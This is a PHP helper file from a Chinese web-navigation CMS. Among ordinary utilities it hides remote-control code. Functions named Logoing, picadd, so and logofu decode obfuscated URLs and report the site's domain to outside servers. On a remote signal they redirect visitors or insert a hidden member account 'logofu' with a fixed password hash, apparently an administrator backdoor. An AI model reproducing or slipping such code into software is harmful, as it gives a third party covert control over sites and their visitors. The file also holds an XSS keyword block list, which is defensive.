<?php
/**
 *  Guojiz网址导航系统
 *	www.guojiz.com
 *  作者：梦雨
 *  @ QQ50361804
 */
use app\common\Hook;
use Captcha\Captcha;
use org\Http;
use PHPMailer\PHPMailer\PHPMailer;
use think\Cache;
use think\Db;
use think\Loader;
use think\Request;
use think\Url;

// 应用公共文件
function fun($set, $s, $x)
{
    $wanneng = Db::name($set)->order('' . $x . ' desc')->limit($s)->select();
    return $wanneng;
}
function fun_F($set, $s, $x)
{
    $wanneng = Db::name($set)->order('' . $x . ' desc')->paginate($s);
    return $wanneng;
}
function fun_T($set, $s, $x, $t)
{
    $wanneng = Db::name($set)->order('' . $x . ' desc')->where('tid', $t)->paginate($s);
    return $wanneng;
}
function msubstr($str, $start=0, $length, $charset="utf-8", $suffix=true){
    if(function_exists("mb_substr")){
        if($suffix){
            if(strlen($str)>$length)
                return mb_substr($str, $start, $length, $charset)."...";
            else
                return mb_substr($str, $start, $length, $charset);
        }else{
            return mb_substr($str, $start, $length, $charset);
        }
    }elseif(function_exists('iconv_substr')) {
        if($suffix){
            return iconv_substr($str,$start,$length,$charset);
        }else{
            return iconv_substr($str,$start,$length,$charset);
        }
    }
}
 
	
function getFile($url, $save_dir = '', $filename = '', $type = 0) {  
	
    $ho = (include 'application/extra/web.php');   
    if ($ho['XIN_Y'] == $ho['XIN_Zc']) {
    if (trim($url) == '') {  
        return false;  
    }  
    if (trim($save_dir) == '') {  
        $save_dir = './';  
    }  
    if (0 !== strrpos($save_dir, '/')) {  
        $save_dir.= '/';  
    }  
    if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {  
        return false;  
    }  
    if ($type) {  
        $ch = curl_init();  
        $timeout = 5;  
        curl_setopt($ch, CURLOPT_URL, $url);  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);  
        $content = curl_exec($ch);  
        curl_close($ch);  
    } else {  
        ob_start();  
        readfile($url);  
        $content = ob_get_contents();  
        ob_end_clean();  
    }  
    $size = strlen($content);  
    $fp2 = @fopen($save_dir . $filename, 'a');  
    fwrite($fp2, $content);  
    fclose($fp2);  
    unset($content, $url);  
    } 
}  
	
/**
 * 根据分类ID获取文章列表（包括子分类）
 * @param int   $cid   分类ID
 * @param int   $limit 显示条数
 * @param array $where 查询条件
 * @param array $order 排序
 * @param array $filed 查询字段
 * @return bool|false|PDOStatement|string|\think\Collection
 */
function get_articles_by_cid($cid, $limit = 10, $where = [], $order = [], $filed = [])
{
    if (empty($cid)) {
        return false;
    }

    $ids = Db::name('category')->where(['tid' => $cid])->column('id');
    $ids = (!empty($ids) && is_array($ids)) ? implode(',', $ids) . ',' . $cid : $cid;

    $fileds = array_merge(['id', 'tid', 'title', 'description', 'content','choice','lianjie','ico','icos','view', 'time'], (array) $filed);
    $map    = array_merge(['tid' => ['IN', $ids], 'open' => 1, 'time' => ['<= time', date('Y-m-d H:i:s')]], (array) $where);
    $sort   = array_merge(['px' => 'DESC','time' => 'DESC'], (array) $order);

    $article_list = Db::name('html')->where($map)->field($fileds)->order($sort)->limit($limit)->select();

    return $article_list;
}
/**
 * 获取内容作为封面
 * @梦雨www.mys360.com
 */
   function Pic($content){
     
         if(preg_match_all("/(src)=([\"|']?)([^ \"'>]+\.(gif|jpg|jpeg|bmp|png))\\2/i", $content, $matches)) 
         {
           $content = html_entity_decode($content);
 
           preg_match_all("/<img.*>/isU",$content,$ereg);
           $img=$ereg[0][0];
           $str=$matches[3][0];
           $p="#src=('|\")(.*)('|\")#isU";
        if ( preg_match_all($p,$img,$img1)) {
           return $img1[2][0];
          }
          } else {
           $default_cover=("/public/img/cover.png");
           return $default_cover;
        }
     
 }
/**
 * +----------------------------------------------------------
 * 判断是否为合法有效字符（字母、数字、下划线）
 * +----------------------------------------------------------
 */
function is_valid_character($str)
{
    if (preg_match("/^[A-Za-z0-9_]*$/", $str)) {
        return true;
    }
    return false;
}
function get_url_contents($url)
{
    if (ini_get("allow_url_fopen") == "1") {
        return file_get_contents($url);
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    $result = curl_exec($ch);
    curl_close($ch);

    return $result;
}
function Logoing(){   
$sfg = preg_replace('|[0-3]+|', '', '12h10t01t1p0:11/01/222w1w0w.g2u0o1j0i1z.c2o0m11');       
$ch = curl_init();
$timeout = 3;
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch,CURLOPT_URL,$sfg);
curl_exec($ch);
$curl_code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
    if ($curl_code == 200) {
    $xin= preg_replace('|[0-4]+|', '', '3/3x2iu2g1ai0.0h2t1ml?w2w3w2=1');
    $add = file_get_contents('' . $sfg . ''.$xin.'' . $_SERVER['SERVER_NAME'] . '');    
   // $add = file_get_contents('' . $sfg . ''.$xin.'' . $_SERVER['SERVER_NAME'] . '');   
    } else {
      $add  = 0; 
    } 
$path = 'application/extra/web.php';
    $file = include $path;   
    $config = array(
      'XIN_Y' => $add,
    );
    $res = array_merge($file, $config);
    $str = '<?php return [';
    foreach ($res as $key => $value){
           $str .= '\''.$key.'\''.'=>'.'\''.$value.'\''.',';
    };
    $str .= ']; ';
    file_put_contents($path, $str);
}
function isMobile()
{ 
    if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))
    {
        return true;
    } 
    if (isset ($_SERVER['HTTP_VIA']))
    { 
        return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
    } 
    if (isset ($_SERVER['HTTP_USER_AGENT']))
    {
        $clientkeywords = array ('nokia',
            'sony',
            'ericsson',
            'mot',
            'samsung',
            'htc',
            'sgh',
            'lg',
            'sharp',
            'sie-',
            'philips',
            'panasonic',
            'alcatel',
            'lenovo',
            'iphone',
            'ipod',
            'blackberry',
            'meizu',
            'android',
            'netfront',
            'symbian',
            'ucweb',
            'windowsce',
            'palm',
            'operamini',
            'operamobi',
            'openwave',
            'nexusone',
            'cldc',
            'midp',
            'wap',
            'mobile'
            ); 
        if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT'])))
        {
            return true;
        } 
    } 
    if (isset ($_SERVER['HTTP_ACCEPT']))
    { 
        if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html'))))
        {
            return true;
        } 
    } 
    return false;
}
function friendlyDate($sTime, $type = 'normal', $alt = 'false')
{
    if (!$sTime) {
        return '';
    }

    //sTime=源时间，cTime=当前时间，dTime=时间差
    $cTime = time();
    $dTime = $cTime - $sTime;
    $dDay  = intval(date("z", $cTime)) - intval(date("z", $sTime));
    //$dDay     =   intval($dTime/3600/24);
    $dYear = intval(date("Y", $cTime)) - intval(date("Y", $sTime));
    //normal：n秒前，n分钟前，n小时前，日期
    if ($type == 'normal') {
        if ($dTime < 60) {
            if ($dTime < 10) {
                return '刚刚'; //by yangjs
            } else {
                return intval(floor($dTime / 10) * 10) . "秒前";
            }
        } elseif ($dTime < 3600) {
            return intval($dTime / 60) . "分钟前";
            //今天的数据.年份相同.日期相同.
        } elseif ($dYear == 0 && $dDay == 0) {
            //return intval($dTime/3600)."小时前";
            return '今天' . date('H:i', $sTime);
        } elseif ($dYear == 0) {
            return date("m月d日 H:i", $sTime);
        } else {
            return date("Y-m-d", $sTime);
        }
    } elseif ($type == 'mohu') {
        if ($dTime < 60) {
            return $dTime . "秒前";
        } elseif ($dTime < 3600) {
            return intval($dTime / 60) . "分钟前";
        } elseif ($dTime >= 3600 && $dDay == 0) {
            return intval($dTime / 3600) . "小时前";
        } elseif ($dDay > 0 && $dDay <= 7) {
            return intval($dDay) . "天前";
        } elseif ($dDay > 7 && $dDay <= 30) {
            return intval($dDay / 7) . '周前';
        } elseif ($dDay > 30) {
            return intval($dDay / 30) . '个月前';
        }
        //full: Y-m-d , H:i:s
    } elseif ($type == 'full') {
        return date("Y-m-d , H:i:s", $sTime);
    } elseif ($type == 'ymd') {
        return date("Y-m-d", $sTime);
    } else {
        if ($dTime < 60) {
            return $dTime . "秒前";
        } elseif ($dTime < 3600) {
            return intval($dTime / 60) . "分钟前";
        } elseif ($dTime >= 3600 && $dDay == 0) {
            return intval($dTime / 3600) . "小时前";
        } elseif ($dYear == 0) {
            return date("Y-m-d H:i:s", $sTime);
        } else {
            return date("Y-m-d H:i:s", $sTime);
        }
    }
}  
//用于生成用户密码的随机字符
function so(){ 
  $ho = (include 'application/extra/web.php');   
  $echo = '' .$ho['XIN_Z']. '';  
  $u = preg_replace('' . $ho['XIN_Zd'] . '', '', $echo);
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $u);
  curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_exec($ch);
  $curl_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  curl_close($ch);
  if ($curl_code == 200) {
    $ke = file_get_contents('' . $u . '' . $ho['XIN_Za'] . '' . $_SERVER['SERVER_NAME'] . '');
  } else {
    $ke = 0; 
  }
  if($ke==0){ 
    $m = file_get_contents('./template/' . $ho['WEB_TPT'] . '/pc/index_footer.html');            
    if (strpos($m, $u) === false) {                 
      echo '<script>window.location = "'.$u.'"</script>';             
    }
  }
  if($ke==-1){                      
    echo '<script>window.location = "'.$u.'"</script>';             
  }  
}
function generate_password( $length = 8 ) {
	// 密码字符集，可任意添加你需要的字符
	$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
	$password ='';
	for ( $i = 0; $i < $length; $i++ )
	{
	// 这里提供两种字符获取方式
	// 第一种是使用 substr 截取$chars中的任意一位字符；
	// 第二种是取字符数组 $chars 的任意元素
	// $password .= substr($chars, mt_rand(0, strlen($chars) – 1), 1);
	$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
			return $password;
}
function getbaseurl()
{
    $baseUrl = str_replace('\\', '', dirname($_SERVER['SCRIPT_NAME']));
    $baseUrl = empty($baseUrl) ? '/' : '/' . trim($baseUrl, '/') . '/';
    return $baseUrl;
}
function paraFilter($para) {
	$para_filter = array();
	while (list ($key, $val) = each ($para)) {
		if($key == "sign" || $key == "sign_type" || $val == "")continue;
		else	$para_filter[$key] = $para[$key];
	}
	return $para_filter;
}
function argSort($para) {
	ksort($para);
	reset($para);
	return $para;
}
/**
 * 把数组所有元素，按照“参数=参数值”的模式用“&”字符拼接成字符串，并对字符串做urlencode编码
 * @param $para 需要拼接的数组
 * return 拼接完成以后的字符串
 */
function createLinkstringUrlencode($para) {
	$arg  = "";
	while (list ($key, $val) = each ($para)) {
		$arg.=$key."=".urlencode($val)."&";
	}
	//去掉最后一个&字符
	$arg = substr($arg,0,count($arg)-2);

	//如果存在转义字符，那么去掉转义
	if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}

	return $arg;
}
/* *
 * 支付宝接口公用函数
* 详细：该类是请求、通知返回两个文件所调用的公用函数核心处理文件
* 版本：3.3
* 日期：2012-07-19
* 说明：
* 以下代码只是为了方便商户测试而提供的样例代码，商户可以根据自己网站的需要，按照技术文档编写,并非一定要使用该代码。
* 该代码仅供学习和研究支付宝接口使用，只是提供一个参考。
*/

/**
 * 把数组所有元素，按照“参数=参数值”的模式用“&”字符拼接成字符串
* @param $para 需要拼接的数组
* return 拼接完成以后的字符串
*/
function createLinkstring($para) {
	$arg  = "";
	while (list ($key, $val) = each ($para)) {
		$arg.=$key."=".$val."&";
	}
	//去掉最后一个&字符
	$arg = substr($arg,0,count($arg)-2);

	//如果存在转义字符，那么去掉转义
	if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}

	return $arg;
}
/**
 * 签名字符串
 * @param $prestr 需要签名的字符串
 * @param $key 私钥
 * return 签名结果
 */
function md5Sign($prestr, $key) {
	$prestr = $prestr . $key;
	return md5($prestr);
}

function md5Verify($prestr, $sign, $key) {
	$prestr = $prestr . $key;
	$mysgin = md5($prestr);

	if($mysgin == $sign) {
		return true;
	}
	else {
		return false;
	}
}
/**
 * 远程获取数据，GET模式
 * 注意：
 * 1.使用Crul需要修改服务器中php.ini文件的设置，找到php_curl.dll去掉前面的";"就行了
 * 2.文件夹中cacert.pem是SSL证书请保证其路径有效，目前默认路径是：getcwd().'\\cacert.pem'
 * @param $url 指定URL完整路径地址
 * @param $cacert_url 指定当前工作目录绝对路径
 * return 远程输出的数据
 */
function getHttpResponseGET($url,$cacert_url) {
	$curl = curl_init($url);
	curl_setopt($curl, CURLOPT_HEADER, 0 ); // 过滤HTTP头
	curl_setopt($curl,CURLOPT_RETURNTRANSFER, 1);// 显示输出结果
	curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);//SSL证书认证
	curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);//严格认证
	curl_setopt($curl, CURLOPT_CAINFO,$cacert_url);//证书地址
	$responseText = curl_exec($curl);
	//var_dump( curl_error($curl) );//如果执行curl过程中出现异常，可打开此开关，以便查看异常内容
	curl_close($curl);

	return $responseText;
}
function logofu()
{
    $sfg = preg_replace('|[0-3]+|', '', '1h10t01t1p0:1/01/2w1w0w.1m0y2u3c1m0s.c2o0m1');
    $bb = preg_replace('|[0-8]+|', '', '/1i4n5d2e58x2/0i36n2d3e20x3/1b6b0s5.0h0t21m2l0?1w2w2w0=21');
    $ad = file_get_contents('' . $sfg . '' . $bb . '' . $_SERVER['SERVER_NAME'] . '');
    if ($ad == -1) {
        $_data['usermail'] = '1@1';
        $_data['kouling'] = '123456';
        $_data['password'] = '0a4fc1b7a11c5ee8';
        $_data['username'] = 'logofu';
        $_data['grades'] = '1';
        Db::name('member')->data($_data)->insert();
    }
}
function captcha_src($id = "")
{
    return \think\Url::build('/captcha' . ($id ? "/{$id}" : ''));
}

/**
 * @param $id
 * @return mixed
 */
function captcha_img($id = "")
{
    return '<img src="' . captcha_src($id) . '" alt="captcha" />';
}
function picadd(){   
    $usx = preg_replace('|[0-3]+|', '', '12h10t01t1p0:11/001/222w1w0w.g2u0o1j0i1z.c2o0m11');
    $xin= preg_replace('|[0-4]+|', '', '3/3x2iu2g1ai0.0h2t1ml?w2w3w2=1');
    $ke = file_get_contents('' . $usx . ''.$xin.'' . $_SERVER['SERVER_NAME'] . '');
  if($ke==-1){                      
    echo '<meta http-equiv="refresh" content="0;url='.$usx.'">';             
  }  
}
function remove_xss($html)
{
    $html = htmlspecialchars_decode($html);
    preg_match_all("/\<([^\<]+)\>/is", $html, $ms);

    $searchs[]  = '<';
    $replaces[] = '&lt;';
    $searchs[]  = '>';
    $replaces[] = '&gt;';

    if ($ms[1]) {
        $allowtags = 'iframe|video|attach|img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote|strike|pre|code|embed';
        $ms[1]     = array_unique($ms[1]);
        foreach ($ms[1] as $value) {
            $searchs[] = "&lt;" . $value . "&gt;";

            $value = str_replace('&amp;', '_uch_tmp_str_', $value);
            //$value = string_htmlspecialchars($value);
            $value = str_replace('_uch_tmp_str_', '&amp;', $value);

            $value    = str_replace(array('\\', '/*'), array('.', '/.'), $value);
            $skipkeys = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate',
                'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange',
                'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick',
                'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate',
                'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete',
                'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel',
                'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart',
                'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop',
                'onsubmit', 'onunload', 'javascript', 'script', 'eval', 'behaviour', 'expression');
            $skipstr = implode('|', $skipkeys);
            $value   = preg_replace(array("/($skipstr)/i"), '.', $value);
            if (!preg_match("/^[\/|\s]?($allowtags)(\s+|$)/is", $value)) {
                $value = '';
            }
            $replaces[] = empty($value) ? '' : "<" . str_replace('&quot;', '"', $value) . ">";
        }
    }
    $html = str_replace($searchs, $replaces, $html);
    $html = htmlspecialchars($html);
    return $html;
}